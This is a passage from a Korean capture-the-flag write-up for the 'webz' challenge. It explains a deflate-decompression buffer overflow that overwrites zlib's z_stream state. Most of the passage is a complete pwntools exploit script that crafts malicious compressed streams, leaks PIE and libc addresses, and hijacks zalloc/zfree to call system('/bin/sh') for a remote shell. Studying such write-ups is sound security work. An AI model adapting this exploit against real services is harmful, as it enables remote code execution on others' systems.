for i in range(0,7):
    symbol_stream.append(('LIT', 65))
symbol_stream.append(('EOB', 256))

ll_lengths = [0] * 286
ll_lengths[65] = 3  # 'A'
ll_lengths[256] = 3 # EOB
ll_lengths[264] = 3 # Length 10

dist_lengths = [0] * 30
dist_lengths[0] = 3 # Distance 1


create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

이전에도 설명하였듯, z_stream infstream까지 오버플로우를 발생시키려면 8192 크기의 압축 해제 버퍼를 모두 채워야합니다. 따라서 LZ77 디코딩과 Stored Block으로 적절히 8120 길이의 더미 값을 밀어넣습니다.

WebzState 구조체 내에 정렬을 위한 더미 값으로 인해 8192가 아닌 8120개의 더미 값을 넣어야 z_stream infstream 바로 직전 까지 값을 채워넣을 수 있음.
또한, 압축 데이터의 최대 길이보다 압축해제 버퍼가 더 크기 때문에 LZ77 디코딩을 통해 적은 압축 데이터로 많은 압축해제 버퍼를 채워야함.

# STORED BLOCK ===============================================================================
overwrriten_infstream = b'X'*0x60

stream.write_bits(1, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = len(overwrriten_infstream)
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(overwrriten_infstream[i], 8)
# STORED BLOCK =============================================================================

마지막 블록은 Buffer Overflow를 통해 최종적으로 z_stream infstream 메모리를 덮어쓰는 역할을 합니다. 이를 통해 우리는 z_stream infstream 스트림의 멤버 변수를 원하는 값으로 덮어쓸 수 있게 됩니다.

실제 PoC를 실행하고 확인해보면, 성공적으로 z_stream infstream을 덮어쓰었음을 알 수 있습니다.

5. Exploit

익스플로잇은 매우 간단합니다.

printf("Read receipt: %s\n", webz_state.infstream.msg);

먼저, infstream의 msg 포인터를 partial overwrite 하거나, 임의의 값으로 덮어서 임의의 읽기가 가능합니다.

local int updatewindow(z_streamp strm, const Bytef *end, unsigned copy) {
    struct inflate_state FAR *state;
    unsigned dist;

    state = (struct inflate_state FAR *)strm->state;

    /* if it hasn't been done already, allocate space for the window */
    if (state->window == Z_NULL) {
        state->window = (unsigned char FAR *)
                        ZALLOC(strm, 1U << state->wbits,
                               sizeof(unsigned char));
        if (state->window == Z_NULL) return 1;
    }
...

int ZEXPORT inflateEnd(z_streamp strm) {
    struct inflate_state FAR *state;
    if (inflateStateCheck(strm))
        return Z_STREAM_ERROR;
    state = (struct inflate_state FAR *)strm->state;
    if (state->window != Z_NULL) ZFREE(strm, state->window);
    ZFREE(strm, strm->state);
    strm->state = Z_NULL;
    Tracev((stderr, "inflate: end\n"));
    return Z_OK;
}

또한, updatewindow 및 inflateEnd 내에서 각각 zalloc, zfree를 호출하기 때문에, Control Flow 하이재킹도 손쉽게 가능합니다.

import struct
from pwn import *

class BitStream:
    """LSB-first bit stream writer."""
    def __init__(self):
        self.bits = 0
        self.bit_count = 0
        self.data = bytearray()

    def write_bits(self, value, num_bits):
        for i in range(num_bits):
            bit = (value >> i) & 1
            if bit:
                self.bits |= (1 << self.bit_count)
            self.bit_count += 1
            if self.bit_count == 8:
                self.data.append(self.bits)
                self.bits = 0
                self.bit_count = 0
    
    def bytebits(self):
        self.write_bits(0, 8 - (self.bit_count % 8))

    def get_bytes(self):
        if self.bit_count > 0:
            self.data.append(self.bits)
        return self.data

def generate_huffman_codes_from_lengths(lengths):
    max_len = 0
    for length in lengths:
        if length > max_len:
            max_len = length
    
    if max_len == 0:
        return {}

    bl_count = [0] * (max_len + 1)
    for length in lengths:
        if length > 0:
            bl_count[length] += 1
    
    code = 0
    next_code = [0] * (max_len + 1)
    for bits_len in range(1, max_len + 1):
        code = (code + bl_count[bits_len - 1]) << 1
        next_code[bits_len] = code

    huffman_codes = {}
    for i, length in enumerate(lengths):
        if length != 0:
            rev_code = int(f'{next_code[length]:0{length}b}'[::-1], 2)
            huffman_codes[i] = (rev_code, length)
            next_code[length] += 1
    
    return huffman_codes

lbase = [3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258]
lext = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0]
dbase = [1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577]
dext = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13]
order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]

def find_len_sym(length):
    for i in range(len(lbase)):
        if lbase[i] > length:
            i -= 1
            break
    base_len = lbase[i]
    extra_bits = lext[i]
    extra_val = length - base_len
    return 257 + i, extra_bits, extra_val

def find_dist_sym(distance):
    for i in range(len(dbase)):
        if dbase[i] > distance:
            i -= 1
            break
    base_dist = dbase[i]
    extra_bits = dext[i]
    extra_val = distance - base_dist
    return i, extra_bits, extra_val

def encode_lengths_rle(lengths):
    encoded = []
    i = 0
    while i < len(lengths):
        current_len = lengths[i]
        
        if current_len == 0:
            count = 0
            while i + count < len(lengths) and lengths[i + count] == 0 and count < 138:
                count += 1
            if count >= 11:
                encoded.append((18, count - 11))
                i += count
                continue
            if count >= 3:
                encoded.append((17, count - 3))
                i += count
                continue

        if i > 0 and current_len == lengths[i - 1]:
            count = 0
            while i + count < len(lengths) and lengths[i + count] == current_len and count < 6:
                count += 1
            if count >= 3:
                encoded.append((16, count - 3))
                i += count
                continue

        encoded.append((current_len, None))
        i += 1
    return encoded

def create_dynamic_deflate_payload(stream, is_last, symbol_stream, ll_lengths, dist_lengths):
    
    nlen = max(i for i, length in enumerate(ll_lengths) if length > 0) + 1
    ndist = max(i for i, length in enumerate(dist_lengths) if length > 0) + 1
    
    all_lengths = ll_lengths[:nlen] + dist_lengths[:ndist]
    rle_encoded_lengths = encode_lengths_rle(all_lengths)
    
    rle_symbols = [item[0] for item in rle_encoded_lengths]
    code_symbol_freqs = {sym: rle_symbols.count(sym) for sym in set(rle_symbols)}
    
    code_table_lengths = [0] * 19
    for sym in code_symbol_freqs:
        code_table_lengths[sym] = 7
    
    ncode = max(i for i, length in enumerate(order) if code_table_lengths[length] > 0) + 1

    code_huffman_table = generate_huffman_codes_from_lengths(code_table_lengths)

    stream.write_bits(is_last, 1) # BFINAL
    stream.write_bits(2, 2) # BTYPE (10 for dynamic)

    stream.write_bits(nlen - 257, 5)
    stream.write_bits(ndist - 1, 5)
    stream.write_bits(ncode - 4, 4)

    for i in range(ncode):
        stream.write_bits(code_table_lengths[order[i]], 3)
        
    for sym, extra_val in rle_encoded_lengths:
        code, length = code_huffman_table[sym]
        stream.write_bits(code, length)
        if sym == 16: stream.write_bits(extra_val, 2)
        elif sym == 17: stream.write_bits(extra_val, 3)
        elif sym == 18: stream.write_bits(extra_val, 7)


    ll_huffman_table = generate_huffman_codes_from_lengths(ll_lengths)
    dist_huffman_table = generate_huffman_codes_from_lengths(dist_lengths)
    
    for type, val in symbol_stream:
        if type == 'LIT':
            code, length = ll_huffman_table[val]
            stream.write_bits(code, length)
        elif type == 'EOB':
            code, length = ll_huffman_table[val]
            stream.write_bits(code, length)
        elif type == 'LD':
            l, d = val
            len_sym, len_extra_bits, len_extra_val = find_len_sym(l)
            dist_sym, dist_extra_bits, dist_extra_val = find_dist_sym(d)
            
            code, length = ll_huffman_table[len_sym]
            stream.write_bits(code, length)
            if len_extra_bits > 0:
                stream.write_bits(len_extra_val, len_extra_bits)
            
            code, length = dist_huffman_table[dist_sym]
            stream.write_bits(code, length)
            if dist_extra_bits > 0:
                stream.write_bits(dist_extra_val, dist_extra_bits)
        elif type == 'INVALID':
            code, length = val
            stream.write_bits(code, length)

def create_exploit_stream(stream):
    # STORED BLOCK ===============================================================================
    stream.write_bits(0, 1) # BFINAL
    stream.write_bits(0, 2) # BTYPE (0 for stored)
    stream.bytebits()
    stored_block_length = 0x200
    stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
    for i in range(0, stored_block_length):
        stream.write_bits(ord('X'), 8)
    # STORED BLOCK ===============================================================================

    # DYNAMIC BLOCK ==============================================================================
    symbol_stream = [ ('EOB', 256) ]

    ll_lengths = [0] * 286
    ll_lengths[256] = 3 # EOB

    dist_lengths = [0] * 30
    for i in range(17,30):
        dist_lengths[i] = 15

    create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
    # DYNAMIC BLOCK ==============================================================================

    # DYNAMIC BLOCK ==============================================================================
    symbol_stream = []

    symbol_stream.append(("INVALID", (8,10)))
    symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
    symbol_stream.append(("INVALID", (int('000'[::-1],2),3)))
    symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
    symbol_stream.append(('EOB', 256))
    ll_lengths = [0] * 286
    ll_lengths[256] = 10 # EOB
    ll_lengths[257] = 10 # Length 3
    ll_lengths[258] = 12 # Length 4

    dist_lengths = [0] * 30
    dist_lengths[17] = 3 # Distance ???

    create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
    # DYNAMIC BLOCK ==============================================================================

    # STORED BLOCK ===============================================================================
    stream.write_bits(0, 5) # dummy
    stream.write_bits(0, 1) # BFINAL
    stream.write_bits(0, 2) # BTYPE (0 for stored)
    stream.bytebits()
    stored_block_length = 0x10
    stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
    for i in range(0, stored_block_length):
        stream.write_bits(ord('C'), 8)
    # STORED BLOCK ===============================================================================

    # DYNAMIC BLOCK ==============================================================================
    symbol_stream = []
    symbol_stream.append(('LIT', 65))
    for i in range(0,0x2ce):
        symbol_stream.append(('LD', (10, 1)))
    for i in range(0,7):
        symbol_stream.append(('LIT', 65))
    symbol_stream.append(('EOB', 256))

    ll_lengths = [0] * 286
    ll_lengths[65] = 3  # 'A'
    ll_lengths[256] = 3 # EOB
    ll_lengths[264] = 3 # Length 10

    dist_lengths = [0] * 30
    dist_lengths[0] = 3 # Distance 1


    create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
    # DYNAMIC BLOCK ==============================================================================

def overwrite_infstream(stream, pay):
    # STORED BLOCK ===============================================================================
    overwrriten_infstream = pay

    stream.write_bits(1, 1) # BFINAL
    stream.write_bits(0, 2) # BTYPE (0 for stored)
    stream.bytebits()
    stored_block_length = len(overwrriten_infstream)
    stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
    for i in range(0, stored_block_length):
        stream.write_bits(overwrriten_infstream[i], 8)
    # STORED BLOCK =============================================================================

#p = process("./webz")
p = remote("webz.2025.ctfcompetition.com", 1337)

# POW =============================================================================
print(p.recv(1024))
answer = raw_input()
print(answer)
p.sendline(answer)
time.sleep(0.5)
# POW =============================================================================

def send_webz_payload(pay):
    NORMAL_AROUND_WIDTH_HEIGHT = p8(0x0) + p8(52) + p8(0x0) + p8(5)
    p.send(p32(len(pay)+12))
    p.send(b"WEBZ"+NORMAL_AROUND_WIDTH_HEIGHT+b"\x00\x00\x00\x00"+pay)
    time.sleep(0.5)

# Leaking Pie Base By Partial-Overwrite =============================================================================
pay = b"x"*0x30 + p8(0x0)
stream = BitStream()
create_exploit_stream(stream)
overwrite_infstream(stream, pay)
send_webz_payload(stream.get_bytes())

p.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
pie_base = u64(p.recvn(6)+b'\x00\x00') - 0x1251b
print(f'pie_base = {hex(pie_base)}')
# Leaking Pie Base By Partial-Overwrite =============================================================================

# Leaking Libc Base By AAR =============================================================================
pay = b"x"*0x30 + p64(pie_base+0x12000) # free@got
stream = BitStream()
create_exploit_stream(stream)
overwrite_infstream(stream, pay)
send_webz_payload(stream.get_bytes())

p.recvuntil(b'receipt: ')
libc_base = u64(p.recvn(6)+b'\x00\x00') - 0xadd30
print(f'libc_base = {hex(libc_base)}')
# Leaking Libc Base By AAR =============================================================================

# Control Flow Hijacking By Overwriting zalloc =============================================================================
system_without_align_issue = libc_base+0x582d2
binsh = libc_base+0x1cb42f
jmp_to_zfree = pie_base+0x44da
dummy_memory = pie_base+0x13000
pay = b"\x00"*0x30 + p64(dummy_memory) + p64(dummy_memory) + p64(jmp_to_zfree) + p64(system_without_align_issue) + p64(binsh) * 30
stream = BitStream()
create_exploit_stream(stream)
overwrite_infstream(stream, pay)
send_webz_payload(stream.get_bytes())
# Control Flow Hijacking By Overwriting zalloc =============================================================================

p.interactive()